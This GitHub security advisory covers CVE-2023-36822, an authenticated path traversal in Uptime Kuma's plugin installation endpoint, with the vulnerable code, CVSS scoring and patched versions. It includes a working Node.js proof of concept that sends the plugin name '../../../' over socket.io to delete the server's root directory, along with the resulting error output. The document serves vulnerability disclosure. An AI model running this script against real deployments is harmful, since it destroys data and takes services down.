Skip to content

Authenticated path traversal via plugin repository name leading to unavailability or data loss

Moderate
louislam published GHSA-vr8x-74pm-6vj7 Jul 4, 2023

Package

docker louislam/uptime-kuma (Docker)

Affected versions

<= 1.22.0

Patched versions

1.22.1
npm louislam/uptime-kuma (npm)
<= 1.22.0
1.22.1

Description

Summary

A path traversal vulnerability via the plugin repository name allows an authenticated attacker to delete files on the server leading to unavailability and potentially data loss.

Details

Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.
Before a plugin is downloaded, the plugin installation directory is checked for existence. If it exists, it's removed before the plugin installation:

if (fs.existsSync(this.pluginsDir + name)) {
log.info("plugin", "Plugin folder already exists? Removing...");
fs.rmSync(this.pluginsDir + name, {
recursive: true
});
}

Because the plugin is not validated against the official list of plugins or sanitized, the check for existence and the removal of the plugin installation directory are prone to path traversal.

PoC

In the PoC below, the plugin name ../../../ (equivalent of / in the official Docker image) is checked for existence and subsequently removed.

  1. Start Uptime Kuma: docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1
  2. Create a user using the Uptime Kuma web interface, e.g. user admin with password admin123
  3. Create file poc.js with the following content:
SERVER = "ws://localhost:3001";
USERNAME = "admin";
PASSWORD = "admin123";


const { io } = require("socket.io-client");
const socket = io(SERVER);
const repo = "";
const name = "../../../"; // Equivalent to the root directory in the official Docker image

socket.emit(
  "login",
  { username: USERNAME, password: PASSWORD, token: "" },
  (res) => {
    if (res.ok !== true) console.log("Login failed");

    console.log("Login successful");
    socket.emit("installPlugin", repo, name, () => {
      console.log("Done");
      socket.close();
    });
  }
);
  1. Install socket.io-client: npm install socket.io-client
  2. Run the script: node poc.js:
# node poc.js
Login successful
Done
  1. Accessing the web interface or restarting the container won't work any more, because the root directory (/) has been removed from the file system:
➜  ~ docker exec -it uptime-kuma bash
OCI runtime exec failed: exec failed: unable to start container process: exec: "bash": executable file not found in $PATH: unknown
➜  ~ docker restart uptime-kuma
Error response from daemon: Cannot restart container uptime-kuma: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: "/usr/bin/dumb-init": stat /usr/bin/dumb-init: no such file or directory: unknown

Impact

This vulnerability allows an authenticated attacker to delete files from the server Uptime Kuma is running on.
Depending on which files are deleted, Uptime Kuma or the whole system may become unavailable due to data loss.

Severity

Moderate
6.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2023-36822

Credits